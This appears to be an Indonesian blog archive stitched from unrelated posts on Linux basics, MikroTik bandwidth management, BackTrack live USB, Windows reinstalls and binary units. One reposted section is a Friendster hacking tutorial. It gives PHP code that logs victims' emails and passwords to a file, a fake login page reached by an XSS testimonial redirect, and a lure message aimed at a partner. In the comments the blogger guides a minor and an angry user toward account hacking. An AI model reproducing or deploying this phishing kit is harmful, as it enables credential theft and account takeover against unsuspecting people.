July 11, 2007 by oasisnet

Secara umum perintah-perintah Linux dan UNIX memiliki sintaks sbb :
perintah [option...] [argumen...]
Option merupakan pilihan yang dapat kita gunakan untuk memberikan hasil tertentu dari suatu perintah.
Argumen umumnya merupakan sesuatu yang akan diproses oleh perintah, misalnya nama file atau nama direktori.
Tanda [ ] merupakan simbol bahwa option dan argumen tidak harus selalu digunakan dalam menjalankan perintah.
Tanda titik-titik menandakan bahwa baik option dan argumen dapat lebih dari satu.
Seluruh perintah dalam Linux dan UNIX bersifat case sensitive, jadi perintah LS akan dianggap berbeda dengan ls.

Sekarang kita mulai dengan perintah-perintah dasar yang umum digunakan dalam Linux:

—- read —-
ls
Perintah ini merupakan perintah untuk menampilkan isi suatu direktori. Perintah ini mirip seperti perintah dir dalam DOS.
Ada beberapa cara untuk menggunakan perintah ini, misalnya :
# ls
# ls -l
Untuk mengetahui lebih lengkap tentang perintah ls, silakan lihat di manual dengan perintah man ls.
more
Perintah more dapat digunakan untuk melihat isi suatu file teks dengan layar per layar. untuk keluar dari tampilan more dengan menekan tombol q.
cat
Perintah ini digunakan untuk menampilkan isi file ke layar tanpa fasilitas tampilan layar per layar.
Biasanya digunakan bersamaan dengan pipeline atau redirection. Misal untuk menampilkan isi file /etc/passwd dan /etc/group, gunakan perintah :
# cat /etc/passwd /etc/group
cd
Perintah ini mirip seperti perintah cd dalam DOS yaitu digunakan untuk pindah ke direktori tertentu. Contoh perintah :
# cd /home/adje
Untuk menuju kembali ke direktori /home, maka digunakan perintah :
# cd ..
cp
Perintah ini digunakan untuk mengkopi suatu file atau direktori. misalnya :
# cp contoh1 contoh2
Perintah di atas maksudnya akan mengkopi contoh1 ke file contoh2. Untuk mengkopi seluruh direktori menggunakan perintah :
# cp -R /home/adje /home/afri
mv
Perintah ini digunakan untuk memindahkan suatu file ke lokasi lain atau dengan nama lain. Contoh :

# mv contoh1.php contoh2.php
#mv contoh1.php /home/adje/contoh2.php
rm
Perintah ini digunakan untuk menghapus direktori atau file. Perintah ini mirip dengan perintah del dalam DOS. Dalam menggunakan perintah ini agar hati-hati karena dalam Linux tidak ada perintah undelete atau unerase. Contoh penggunaan rm sbb :
#rm contoh1.php
Untuk menghapus suatu direktori gunakan perintah :
#rm /home/adje/temp
mkdir
Perintah ini digunakan untuk membuat direktori. Misalnya :
#mkdir contoh
Pipeline
Pada Linux dan UNIX, hasil keluaran suatu proses program dapat diberikan sebagai input pada proses lainnya. Contohnya :

#ls -l /home/adje | more
grep
Perintah grep digunakan untuk men-filter masukan dan menampilkan dalam bentuk baris-baris yang sesuai dengan pola yang anda inginkan. Contoh :

# ps ax |grep wvdial
Redirection
Di dalam Linux atau UNIX, anda dapat membelok-belokkan standar input, output ataupun standar error menuju tujuan lain.
Misalnya anda dapat membelokkan standar output suatu program ke file atau membelokkan standar input suatu program dari suatu file.
Proses pembelokkan ini disebut redirection dan di *NIX digunakan simbol > (untuk membelokkan standar output ke file) dan simbol < (untuk membelokkan standar input dari file). Contoh :

Untuk menyimpan tampilan isi seluruh directori /etc ke sebuah file, gunakan perintah :

#ls -lR /etc > isi-etc
Untuk menambahkan isi file isi-etc dengan data lain, gunakan simbol >> (append) pada redirection, misal :

#ls -lR /home/adje >> isi-etc

Untuk membuat perintah mensortir data yang terdapat pada file contoh.txt dapat digunakan perintah :

#sort < contoh.txt
Perintah-perintah di atas adalah perintah-perintah yang sering digunakan dalam Linux atau UNIX. Bila anda masih merasa kesulitan silakan baca manual-nya terlebih dahulu. Karena membaca manual itu sangat penting bila kita sering meng-oprek Linux atau UNIX. Dari manual itu kita bisa mendapat solusi dari masalah yang kita hadapi

Reff: http://zaki-math.web.ugm.ac.id/mod.php?mod=publisher&op=viewarticle&artid=16

Dasar-Dasar Perintah Linux

July 11, 2007 by oasisnet

eBagi yg biasa make putty tentunya udah biasa dengan perintah2 linux, dibawah ini kami sajikan beberara perintah2 dasar linux khusus bagi pemula (yg udah expert gak usah baca Cool!) Peintah2 ini bersifat sangat dasar dan hanya secara garis besarnya aja, kalo mau tau detailnya bisa make perintah: man

—- read —-

Perintah2 Dasar Linux:

Perintah Contoh Keterangan
ls ls -la Tampilkan daftar file/direktori
cd cd /tmp Berpindah ke direktori tmp
cp cp olib.txt ancu.txt Mengcopy file olib.txt jadi ancu.txt
mv mv ippank.tcl mrscripe.tcl Merubah nama ippank.tcl menjadi mrscripe.tcl
mkdir mkdir galardo Membuat direktori baru bernama galardo
rm rm -rf jagiring Menghapus dir jagiring beserta sub-dir2 nya
find find / -name reza.txt
find / -perm 777 -type d
find /var -user nobody Mencari reza.txt mulai dari awal direktoriMencari semua dir yg drwxrwxrwx

Mencari semua file/dir milik nobody mulai dari dir /var
ps ps x Menampilkan semua proses dari id saat itu
kill kill -9 6693 Mematikan proses pid 6693
killall killall -9 help Mematikan semua proses yg bernama help
crontab crontab -lcrontab -r Melihat crontabMenghapus crontab
head head dhaenk.txthead -5 dhaenk.txt Menampilkan 10 baris awal pada file dhaenk.txtMenampilkan 5 baris awal pada file dhaenk.txt
tail tail joe.txttail -7 joe.txt Menampilkan 10 baris akhir pada file joe.txtMenampilkan 7 baris akhir pada file joe.txt
pwd pwd Menampilkan posisi direktori yg aktif saat itu
id id Menampilkan id user
mail mail Berkomunikasi dengan user lain
passwd passwd Mengganti password user
cal cal Menampilkan kalender
date date Menampilkan tanggal dan waktu
finger finger Menampilkan informasi user
du du /home/ichal Memeriksa total pemakaian disk pada dir /home/ichal
clear clear Membersihkan layar
whoami whoami Menampilkan id

Perintah Linux beserta kegunaannya

July 11, 2007 by oasisnet

cd x atau cd /x = masuk ke direktori x
cd .. atau cd ../ atau cd/.. = pindah ke direktori satu level di bawah
x lalu [tab] [tab] == berguna untuk mengetahui perintah apa saja yang tersedia yang berawalan huruf x
adduser = untuk menambahkan user baru
ls atau dir = untuk melihat isi suatu direktori
cat = untuk melihat isi dari suatu file text
mv x y = untuk memindahkan atau merename file x ke file y
cp x y = untuk mengkopi file x ke file y
rm x = untuk menghapus file x
mkdir x = untuk membuat direktori x
rmdir x = untuk menghapus direktori x
rm -r x = untuk menghapus direktori x beserta seluruh isinya
rm p = untuk menghapus paket tertentu
df atau df x = untuk mengetahui space kosong dalam device x
top = untuk mengetahui status memori (tekan q untuk quit)
man x = untuk mengetahui keterangan manual dari suatu perintah
less x = untuk melihat isi dari suatu file text
echo x = untuk mencetak isi dari suatu file x ke screen
mc = untuk menghidupkan Norton Commander dalam Linux (sangat berguna dan memudahkan bagi newbie)
mount = untuk menghidupkan suatu device spt cdrom
halt = untuk shutdown
reboot atau [ctl + alt + del] = untuk reboot

—- read —-
chmod = untuk mengubah permission suatu file
ls -l x = untuk melihat isi suatu direktori secara rinci
ln -s x y = untuk membuat link dari suatu file x ke file y
find x -name y -print = untuk menemukan file y, dengan mencari mulai dari direktori x dan tampilkan hasilnya pada layar
ps = untuk melihat seluruh proses yang sedang berjalan
kill x = untuk mematikan proses x (x adalah PID di dalam ps)
[alt] + F1 - F7 == untuk berpindah dari terminal 1 - 7 (ciri khas Linux)
lilo = untuk membuat boot disk

startx = untuk menjalankan X-Windows
[ctl] + [alt] + [backspace] == untuk keluar dari X-Windows jika terjadi trouble
[ctl] + [alt] + F1 - F6 = untuk pindah dari satu terminal ke terminal lain dalam X-Windows
xf86Config = untuk mengeset X (primitif) dalam text mode
Xconfigurator = sama seperti di atas

Mikrotik OS Untuk Bandwidth Management

May 8, 2007 by oasisnet

MikroTik RouterOS™ adalah sistem operasi dan yang dapat digunakan untuk
menjadikan komputer manjadi router network yang handal, mencakup berbagai fitur
lengkap untuk network dan wireless, salah satunya adalah bandwidth manajemen.
Saya coba mengulas cara2 paling awal untuk setting mikrotik untuk BW manajemen.—– read —–

1. Install Mikrotik OS
1. Siapkan PC, minimal Pentium II juga gak papa RAM 64,HD 500M atau pake
flash memory 64
2. Di server / PC kudu ada minimal 2 ethernet, 1 ke arah luar dan 1 lagi ke Network
local yg akan di manage BWnya

3. Burn Source CD Mikrotik OS masukan ke CDROM
4. Boot dari CDROM
5. Ikuti petunjuk yang ada, gunakan syndrom next-next dan default
6. Install paket2 utama, lebih baiknya semua packet dengan cara menandainya
(mark)
7. Setelah semua paket ditandai maka untuk menginstallnya tekan “I”
8. Lama Install normalnya ga sampe 15menit, kalo lebih berarti gagal, ulangi ke step
awal
9. Setelah diinstall beres, PC restart akan muncul tampilan login

2. Setting Dasar Mikrotik
Langkah awal dari semua langkah konfigurasi mikrotik adalah setting ip. Hal ini
bertujuan agar mikrotik bisa di remote dan dengan winbox dan memudahkan kita untuk
melakukan berbagai macam konfigurasi
1. Login sebaga admin degan default password ga usah diisi langsung enter
2. Setelah masuk ke promt ketikkan command:
[ropix@GblSdd] > ip address add address=222.124.21.26/29 interface=ether1
3. Gantilah dengan ip address anda dan interface yg akan digunakan untuk
meremote sementara
4. Lakukan ping ke dan dari komputer lain
5. Setelah konek lanjutkan ke langkah berikutnya, kalo belum ulangi langkah 2

3. Setting Lanjutan
1. Akses ip mikrotik lewat browser, maka akan muncul halaman welcome dan login
2. Klik link Download it untuk download winbox yg digunakan untuk remote
mikrotik secara GUI
3. Jalankan winbox, login sebagai admin password kosong
4. Masuklah ke menu paling atas (interface), tambahkan interface yg belum ada
dengan mengklik tanda +
5. Tambahkan pula interface “bridge” untuk memfungsikan mikrotik sebagai bridge

4. Setting Bandwidth limiter
1. Klik menu ip>firewall>magle
Buat rule (klik tanda + merah) dengan parameter sbb:
Pada tab General:
Chain=forward,
Src.address=192.168.0.2 (atau ip yg ingin di limit)
Pada tab Action :
Action = mark connection,
New connection mark=ropix-con (atau nama dari mark conection yg kita buat)
Klik Apply dan OK
Buat rule lagi dengan parameter sbb:
Pada tab General: Chain=forward,
Connection mark=ropix-con (pilih dari dropdown menu)
Pada tab Action:
Action=mark packet,
New pcket Mark=ropix (atau nama packet mark yg kita buat)
Klik Apply dan OK
2. Klik menu Queues>Queues Tree
Buat rule (klik tanda + merah) dengan parameter sbb:

Pada tab General:
Name=ropix-downstrem (misal),
Parent=ether2 (adalah interface yg arah keluar),
Paket Mark=ropix (pilih dari dropdown, sama yg kita buat pada magle),
Queue Type=default,
Priority=8,
Limit At=8k (untuk bandwidth minimum)
Max limit=64k (untuk seting bandwith brustable)
Klik aplly dan Ok
Buat rule lagi dengan parameter sbb:
Pada tab General:
Name=ropix-Upstrem (misal),
Parent=ether1 (adalah interface yg arah kedalam),
Paket Mark=ropix (pilih dari dropdown, sama yg kita buat pada magle),
Queue Type=default,
Priority=8,
Limit At=8k (untuk bandwidth minimum upstrem)
Max limit=64k (untuk seting bandwith brustable)
Klik aplly dan Ok
3. Cobalah browsing dan download dari ip yg kita limit tadi, Rate pada Queues rule tadi
harus mengcounter, kalo belum periksa lagi langkah- langkah tadi
4. Icon hijau menandakan bandwidth kurang dari batasan, Icon berubah kuning berarti
bandwidth mendekali full dan merah berarti full.

Rabu, 14 Mei 2008

BackTrack 2.0


Back Track merupakan distro turunan dari Distro Linux Slackware yang sering digunakan sebagai tool untuk tes jaringan komputer, secara singkat untuk dapat berjalan secara Live USB dapat dilakukan dengan cara sebagai berikut:
1. Masukan cd Linux Back Track 2.0 kedalam cd/dvd drive.
2. Masukan USB pen-drive kedalam port USB.
3. Buka aplikasi terminal (Applications -> Accessories -> Terminal)
4. Salin direktori BT kedalam USB pen-drive.

user@linux:~ $ cd /media/cdrom
user@linux:cdrom $ cp -r BT /media/USB

5. Buat direktori boot pada USB pen-drive dan salin file vmlinuz dan initrd.gz yang ada di dalam direktori boot pada cd BackTrack 2.0 kedalam direktori boot yang ada didalam USB pen-drive.

user@linux:cdrom $ mkdir /media/USB/boot
user@linux:cdrom $ cd boot
user@linux:boot $ cp vmlinuz initrd.gz /media/USB/boot

Install ulang memang menjadi kegiatan rutin yang dilakukan di kalangan mahasiswa karena tidak ada satu komputer pun yang luput dari yang namanya virus.
Biasanya para pembuat virus akan menyebarkan virus mereka di lab komputer masing-masing karena para pengguna lab jarang ada yang memperhatikan apakah komputer di lab
terkena virus atau tidak.Selain itu install ulang juga dapat disebabkan oleh kerusakan sistem pada harddisk tempat kita menyimpan data instalasi.
Kerusakan pada sistem biasanya disebabkan oleh:
1.Virus yang menjangkiti komputer da merusak sistem tanpa kita ketahui
2.Karena pengguna komputer yang biasanya memiliki rasa ingin tahu yang besar
sehingga banyak menginstall software yang tidak mereka tahu fungsi dari software tersebut
sehingga apabila mereka tidak tahu fungsinya mereka biasanya akan langsung meng-uninstall software
tersebut tanpa pernah berfikir bahwa software yang mereka uninstall masih ada beberapa bagian
dari software tersebut yang masih tertinggal di memory
3.Disebabkan karena pengguna yang meng-install theme atau tema yang banyak mengubah dll dari
suatu sistem operasi sehingga apabila pengguna sudah bosan dengan tema tersebut biasanya
pengguna akan meng-uninstall tema tersebut yang dapat menyebabkan corrupt pada sistem operasi
Sekarang saya akan menjelaskan bagaimana cara install ulang apabila laptop yang kita tangani
menggunakan harddisk SATA
 

membuat desktop 3 d di vista

membuat desktop 3 d di vista

Membuat desktop dapat berputar bukan saja dapat dilihat di sistem operasi linux atau open source tetapi vista atau xp
dapat juga melakukannya.Cukup dengan menggunakan software Yodm3D anda dapat menikmati desktop 3 D.
software tersebut dapat di download di link :
1.http://www.softpedia.com/progDownload/Yod-m-3D-Download-70702.html
2.http://download1us.softpedia.com/dl/b4b14856fb1702b083aab25ef56be8e9/48295df7/100070702/software/os_enhance/Yodm3D.zip
3.http://chsalmon.club.fr
Semoga dengan artikel ini dapat menambah koleksi software anda...............

source code c bintang

Cara MengHack Friendster
written by yudhi_blog at Wednesday, December 12, 2007
Hola,,,

Setelah mencari ide apa yang artikel apa yang harus dimasukan kedalam blog saya. akhirnya saya memutuskan untuk mencari artikel tentang cara menghacking password Friendster karena banyak teman - teman saya yang menyarankan untuk memasukan artikel tersebut agar mereka mudah untuk membacanya tanpa perlu memakai search engine segala. dan setelah goggling sejenak akhirnya saya dapat juga di jasakom.com. nah ini dia selamat membaca. GBU

Penerapan Social Engineering untuk mendapatkan password di Friendster
Date: Wednesday, February 14, 2007 Hits: 14195 By: numpang_lewat
Artikel ini ditujukan bahwa ” Hacking tidak selamanya menggunakan TOOLS “. So bagi para 3133t sebaiknya tidak membaca ARTIKEL ini jika anda tidak ingin mual, perut kembung, bibir pecah2, kepala senut2.. dll.

Artikel ini diperuntunkan bagi anda tertarik, cinta, haus ilmu dari Social Engineering….

Sekali lagi Artikel ini hanya ditujukan bagi temen2 yg belum mengetahui teknik ini. Jika temen2(terutama for 3133t) Sudah tahu teknik ini SAYA MOHON STOP!! STOP!! STOP!! STOP!! STOP!! STOP!! tetapi bila anda tetap sja Ngotot ingin meneruskan saya tidak bisa memaksa anda…

Lanjutt ….

Akhir-akhir ini banyak yg membicarakannya, bahkan sedang menjadi berita hangat. Mngkin para 3133t sudah menemukannya hampir 2 tahun yg lalu. Sebagaimna telah dijelaskan pada artikel sebelumnya (WuPz, jagonya dll). Testimonial Redirect bisa jadi berabe bgt kalo disalah gunakan. Artinya?? cara tersebut bisa digunain buat ngedapetin password, cookies, or perhatian lebih dari doi ama kita ;)) n laen-laen .. .

So langsung saja kita menuju acara puncak …

Pertama-tama yg mesti kita siapin :

1. Teh manis penghangat malam.
2. Jangan Lupa cemilan yg bikin Kriuk .. kriuk …
3. Web Hosting yg support PHP. Cari di paman Google banyak..
4. Upload file index.htm (ada di source).

5. Sertakan code php dan JavaScript di bawah ini dan ” SAVE As ” sesuai dg nama link yg dituju pada Form Login.

$email = $_POST[email];
$password = $_POST[password];
$fl = fopen(’password.txt’, ‘a’);
fwrite($fl, “$email . $password \n\n”);
fclose($fl);

?>



Dan upload file diatas ke www.webyangsupportphp.com

6. Buat file Text kosong dengan nama Sesuai perintah Open pada php code di atas. Jangan lupa CHMOD diganti sesuai dg kebutuhan kamu!!.

7. kirim testi dg :

hai syang .. gimna kabarna, kagen nie ..

nah .. Setelah sang pacar penerima testi membuka “New Testimonials”, maka sesuai dg perintah yang berada di JavaScript => window.location <= yg disisipkan maka link akan menuju ke http://webyangsupportphp.com/index.htm . setelah terbuka, secara tanpa sadar sang pacar mengira halaman yg terbuka adalah sungguhan. Ya !!!! tanpa disuruh, dibelai-belai, n tanpa rayuan maut pun sang pacar akan dg rela hati mengisi Form login tipuan.
Akhirnya dg pura-pura tidak tahu, muka bego, sedikit bodoh. Si pengirim testi menawarkan jasanya untuk sang pacar tercinta… =] :))

Selain itu teknik diatas akan terlihat seperti aslinya jika menggunakan ” OVERLAY GENERATOR ” pada profil fs pada saat pengiriman testimonial yg berisi html code ( index.htm). Dg mengganti link Relatif menjadi absolut(baca S.I.H lebih lanjut) pada form login di index.htm maka pada saat pengiriman data akan menuju ke http://webyangsupportphp.com/login.php

Kesimpulan :

# Hacking tidak selamanya menggunakan ” TOOLS “
# Kelemahan XSS merupakan bahaya besar
# Teknik ini semata-mata hanya untuk pengetahuan. Resiko ditanggung anda sendiri !!!!

Thanks To :

Allah SWT
———


$Jasakom Community
$Aat Shadewa - thanks 4 your knowledge.
Labels: Tutorial Umum Email Post »

Anonymous said...
mas cara untuk buat webcounter di blogger gimana caranya

Thank's
3:44 PM
yudhi said...
klo kamu mau buat web counter gampang qo!!kmu klik aja ini http://www.webcounter.com/ dan kmu ikuti instruksi selanjutnya.klo kmu ga bs juga bru kmu tanya lgi ya???thnks too
1:05 AM
whitehat_70 said...
lagi2 fs,, dah lah kasian uh dya..

ini web mang memunkinkan testi yg bisa input script di dalemnya..
ya jelas ja banyak kelemahannya lah..

coba nih hack lewat comment blogger yg cuman bisa 'bbrapa' tag HTML doang ?? bisa !??
12:48 PM
Anonymous said...
maz tolong q...
q abiz di kerjain m temenq hancurin fs q
q pgn blaez dia
bisa jelasin lebih rinci gak..
q bener-bener tersiksa gara2 ini
pliz
7:52 PM
aziz said...
maz maksudnya

4. Upload file index.htm (ada di source).

apa

source itu apa......

jangan kaget q masih umur13 thn soalna jadi gtw itu maksudnya
8:10 PM
yudhi_blog said...
untuk anonim kalo kamu mw belajar tntg cara menghack FS kamu klik aja ini www.yogyafree.net n kmu disana bs belajar bnyk bgt tntg hack coz aku ga bs smp bntu trlalu jauh aku cuma bntu kamu gni aja yah??untuk lebih lnjutnya kmu blajr dri website itu aja.tar klo ada yang ga ngrti bru kmu tny aku lg yah??thnks


untuk aziz untuk source itu adalh code untuk menghack FS kmu hrus pny website dlu.kmu dftar grtis dlu aja di www.geocities.com or www.googlepages.com.key??mksh ats kunjungannya.
9:33 AM
aziz said...
klo blog ga boleh ta...

masa haruz website
2:23 PM
yudhi_blog said...
untuk aziz ywdh nnti aku cariin cara hack FS yg lbih simple.key??ditunggu aja
12:03 PM
Anonymous said...
boz..gw kan da ada web ndiri.
gw bkin di www.bravenet.com

Sabtu, 10 Mei 2008

binner, byte dan bit dalam digital
Kalau kita melihat pameran komputer atau pameran alat-alat digital lainnya, pasti banyak dijumpai istilah-istilah yang membuat penasaran. Apalagi bagi yang ingin tahu performa atau kemampuan alat yang akan dibeli. Yuk, kita pelajari!
Ada komputer dengan RAM (Random Access Memory) DDR/SDR berkapasitas 256 MB (Mega Byte), ada HDD (Hard Disk Drive) ukuran 40 GB (Giga Byte), juga modem dengan kecepatan 56 kbps (kilo bit per second). Masih ada lagi, kamera foto digital dengan 8 MB built in memory. Dan, kalau lihat iklan, ada handphone yang mampu menghasilkan 4.096 warna.<>
Nah, berbeda dengan Giga, Mega, dan Kilo yang sudah umum digunakan dalam banyak satuan, byte dan bit hanya dipahami oleh orang yang tahu dunia digital. Istilah bit dan byte muncul pada bilangan dasar/radix dua. Bilangan dasar 2 yang populer dengan nama bilangan biner (binary) ini digunakan dalam dunia digital karena dapat mewakili sistem digital yang hanya mengenal 2 level/kondisi (hidup atau mati).
Bilangan biner
Jika bilangan desimal (radix/dasar 10) mempunyai simbol 0,1,2,3,4,5,6,7,8,9, bilangan dasar 2 atau biner hanya mempunyai dua simbol, yaitu 0 dan 1. Dalam sistem digital, bilangan 0 digunakan untuk mewakili kondisi off/non-aktif, sedangkan bilangan 1 digunakan untuk mewakili kondisi on/aktif.
Pertanyaannya: "Dengan hanya dua simbol bilangan itu, bagaimana cara menuliskan angka-angka yang nilainya lebih besar dari satu, misalnya, dua, sembilan, lima belas, dua puluh, atau lainnya?"
Untuk bilangan desimal, nilai nol hingga sembilan ditulis dalam satu digit simbol bilangan (yaitu 0,1,2,3,4,5,6,7,8, atau 9 saja). Nilai-nilai yang lebih besar dari sembilan ditulis dengan kombinasi 2 digit simbol atau lebih. Kombinasi itu ditulis dengan memperhatikan bobot tempat.
Bobot tempat untuk bilangan desimal adalah : … 10 pangkat 5, 10 pangkat 4, 10 pangkat 3, 10 pangkat 2, 10 pangkat 1, 10 pangkat 0.… Dengan pangkat itu, urutan nilai yang dihasilkan adalah … 100.000, 10.000, 1.000, 100, 10, 1…. Kemudian, kita dapat mengisi maksimal nilai sembilan untuk tiap tempat berbobot. Dalam pelajaran di sekolah dasar, penggambaran bobot tempat ini dibuat dalam bentuk "tusuk sate" yang tersusun sejajar di papan.
Dengan bobot tempat semacam itu, satu biji "sate" yang diletakkan pada tiang atau tempat satuan (10 pangkat 0) akan bernilai satu dan disimbolkan dengan 1. Sementara satu biji "sate" yang diletakkan pada tiang atau tempat ratusan (10 pangkat 2) akan bernilai seratus dan disimbolkan dengan 100. Jadi, nilai delapan belas diperoleh dengan meletakkan satu biji "sate" di tiang puluhan dan delapan biji "sate" di tiang satuan. Nilai seratus delapan puluh diperoleh dengan meletakkan satu biji "sate" di tiang ratusan dan delapan biji "sate" di tiang puluhan. Pokoknya, nilai bilangan bergantung pada jumlah biji "sate" dan tempat peletakannya.
Cara serupa juga dilakukan untuk bilangan biner. Bobot tempat untuk bilangan biner adalah … 25, 24, 23, 22, 21, 20…. Dengan pangkatnya, urutan nilainya dapat ditulis dengan … 32, 16, 8, 4, 2, 1…. Ternyata bilangan biner tidak mengenal puluhan, ratusan, ribuan, dst, tetapi dua-an, empat-an, delapan-an, dst. Jika tiap tempat berbobot dalam bilangan desimal dapat diisi maksimal sembilan biji "sate", tiap tempat dalam bilangan biner hanya dapat diisi maksimum satu biji saja sehingga tiap tempat hanya punya dua kemungkinan, berisi satu atau tidak berisi.
Dengan format semacam itu, penyusunan di tiap tempat akan menghasilkan nilai-nilai tertentu. Peletakan satu biji pada tempat berbobot 32,8, dan 1 akan menghasilkan simbol bilangan biner 101001. Simbol itu mewakili nilai 32 + 8 + 1 = 41. Contoh lain, peletakan satu biji pada tempat berbobot 8, 4, 2, dan 1 akan menghasilkan simbol biner 1111, yang mewakili nilai 15. Cara praktis ini dapat kita gunakan untuk mengonversi simbol bilangan desimal ke biner dan atau sebaliknya.
Bit (BInary digiT) dan byte
Satuan bit (binary digit) digunakan untuk menunjukkan panjang bilangan biner. Bilangan biner 1001 mempunyai panjang 4 bit, bilangan biner 10110 mempunyai panjang 5 bit, sedangkan 10101101 mempunyai panjang 8 bit.
Byte adalah satuan yang menunjukkan deretan bilangan biner dengan panjang 8 bit. Atau gampangnya, 1 byte = 8 bit. Jadi, bilangan biner 20 byte mempunyai ukuran 20 x 8 bit = 160 bit. Sebenarnya, masih ada satu satuan lagi yang kurang populer. Satuan itu adalah nibble, yang menunjukkan deretan bilangan biner sepanjang 4 bit. Hubungan antara bit, nibble, dan byte adalah 1 byte = 2 nibble = 8 bit.
Kode-kode biner
Kode-kode biner digunakan untuk membawa informasi angka, huruf, karakter (", ;, spasi, $$, @, dan lain-lain), gambar, warna, atau apa saja. Kode-kode ini digunakan selama proses pengolahan, pengiriman, penerimaan, perekaman, dan pembacaan data. Tetapi, pada akhirnya kode ini akan diubah kembali menjadi informasi asal.
Kode biner terdiri dari banyak jenis. Salah satunya adalah jenis kode yang membawa informasi angka saja. Contoh kode ini adalah kode biner murni, seperti yang dijelaskan di atas.
Jenis lainnya adalah kode BCD (Binary Coded Decimal), yang banyak digunakan di rangkaian counter, speedometer, jam digital. Berbeda dengan kode biner murni, kode ini menempatkan 4 bit untuk tiap digit bilangan desimal. Jadi, kode BCD untuk angka 41 adalah 0100 0001. Empat bit di kiri mewakili digit 4 desimal, sedangkan empat bit di kanan mewakili digit 1 desimal. Untuk angka 15, kode BCD-nya adalah 0001 0101. Bandingkan dengan kode biner murni di atas.
Selain itu, ada kode alfanumerik yang digunakan untuk membawa informasi karakter: angka, huruf, dan tanda baca atau karakter lain. Kode alfanumerik yang populer adalah kode ASCII (American Standard Code for Information Interchange). Kode ASCII digunakan untuk komunikasi antara keyboard komputer dengan CPU (Central Processing Unit) dan komunikasi antarkomputer.
Pada awalnya, kode ASCII menyediakan 7 bit untuk mewakili 128 karakter angka, huruf, dan tanda baca lainnya. Setelah itu, ia dikembangkan lagi menjadi 8 bit sehingga dapat digunakan untuk mewakili 256 karakter. Tabel daftar karakter kode ASCII mudah dijumpai di buku-buku aplikasi komputer.
Contoh kode alfanumerik lainnya adalah EBCDIC (Extended Binary Coded Decimal Interchange Code). Kode yang digunakan dalam komputer-komputer produksi IBM ini mempunyai panjang 8 bit.
Selain itu, ada juga kode-kode yang digunakan untuk membawa informasi gambar, warna, atau untuk keperluan-keperluan lain. Yang saat ini banyak dikembangkan adalah kode-kode pendeteksi dan perbaikan kesalahan.
Kode pendeteksi dan perbaikan kesalahan dipakai untuk keperluan pengiriman atau perekaman data digital. Dengan mengaplikasikan kode ini, kesalahan pembacaan atau penerimaan data digital akibat gangguan selama proses pengiriman atau perekaman dapat dikurangi sehingga semaksimal mungkin dapat diperoleh data aslinya. Contoh kode pendeteksi dan perbaikan kesalahan adalah kode CRC, Reed Solomon (yang banyak diterapkan untuk komunikasi wireless), Turbo code (yang mempunyai kecepatan tinggi).
Jumlah kombinasi vs panjang bit
Semakin panjang bit dari kode akan menambah jumlah kombinasi yang dihasilkan oleh kode tersebut. Jumlah kombinasi yang dihasilkan oleh kode dengan panjang n bit adalah 2 pangkat n. Dengan demikian, kode biner dengan panjang 1 bit hanya akan menghasilkan dua kombinasi, yaitu 0 dan 1. Kode biner 2 bit menghasilkan 4 kombinasi, yaitu 00, 01, 10, dan 11, sedangkan kode biner 3 bit menghasilkan 8 kombinasi dengan urutan 000, 001, 010, 011, 100, 101, 110, 111.
Jadi, untuk mewakili seluruh karakter angka (0-9) dan abjad (a-z, A-Z) yang berjumlah 62 dibutuhkan kode dengan panjang 6 bit (yang menghasilkan 64 kombinasi). Kode 6 bit ini menyisakan 2 kombinasi yang tidak terpakai. Kode dengan panjang 5 bit tidak dapat dipakai karena hanya menghasilkan 32 kombinasi.
Untuk kode ASCII yang juga memasukkan banyak karakter tanda baca lain, panjang 6 bit itu jelas tidak cukup. Karena itu, ia menyediakan panjang 7 bit yang dapat menghasilkan 128 kombinasi kode. Pada pengiriman data serial antarkomputer, kode ASCII 7 bit ini ditambah 1 bit paritas, yang berfungsi sebagai deteksi kesalahan. Karena itu, pada komunikasi komputer, umumnya dikirim 8 bit = 1 byte data. Panjang 1 byte ini juga populer untuk kode-kode lainnya.
Kilo dan Mega dalam bilangan biner
Dalam bilangan biner, 1 kb (kilobit) tidak identik dengan 1.000 bit, melainkan 1.024 bit yang dihasilkan dari 2 pangkat 10. Angka 2 kb identik dengan 2.048 bit yang dihasilkan dari 2 pangkat 11, dan angka 4 kb identik dengan 4.096 bit yang dihasilkan dari 2 pangkat 12.
Jadi, handphone yang "katanya" mampu menghasilkan 4.096 warna kemungkinan besar mempunyai kode dengan panjang 12 bit untuk mendapatkan kombinasi warnanya. Sementara modem dengan kecepatan 56 kbps dapat mengirim data digital dengan kecepatan 56 x 1.024 = 57.344 bit tiap detiknya.
Untuk memory (RAM, ROM, CD, disket), satuan dasar yang biasa digunakan adalah byte karena lebar data yang biasa digunakan adalah 1 byte (8 bit). Jika penyimpanan data digambarkan dalam bentuk baris dan kolom, lebar kolom menunjukkan lebar data (biasanya kelipatan 8 bit), sedangkan jumlah baris menunjukkan banyaknya data.
Jumlah baris tergantung pada panjang bit kode penunjuk baris. Jika panjang kode penunjuk baris adalah 16 bit, ia dapat menyimpan 2 pangkat 16 = 65.536 baris data. Jadi, jika dalam bentuk baris dan kolom sebuah memori mempunyai 8 kolom dan 65.536 baris, ia disebut memiliki kapasitas sebesar 65.536 byte atau 64 kbyte. Nah, bisa dibayangkan, berapa banyak baris dan kolom yang disediakan untuk memori dengan kapasitas beberapa puluh Mega atau Giga byte.
PRIHADI MURDIYAT Mahasiswa S2 Telekomunikasi Multimedia ITS

Selasa, 08 April 2008

Sabtu, 22 Maret 2008

Kunjungi Blog Saya Kita Bisa Berbagi Ilmu

Karena "manusia tidak bisa hidup sendiri"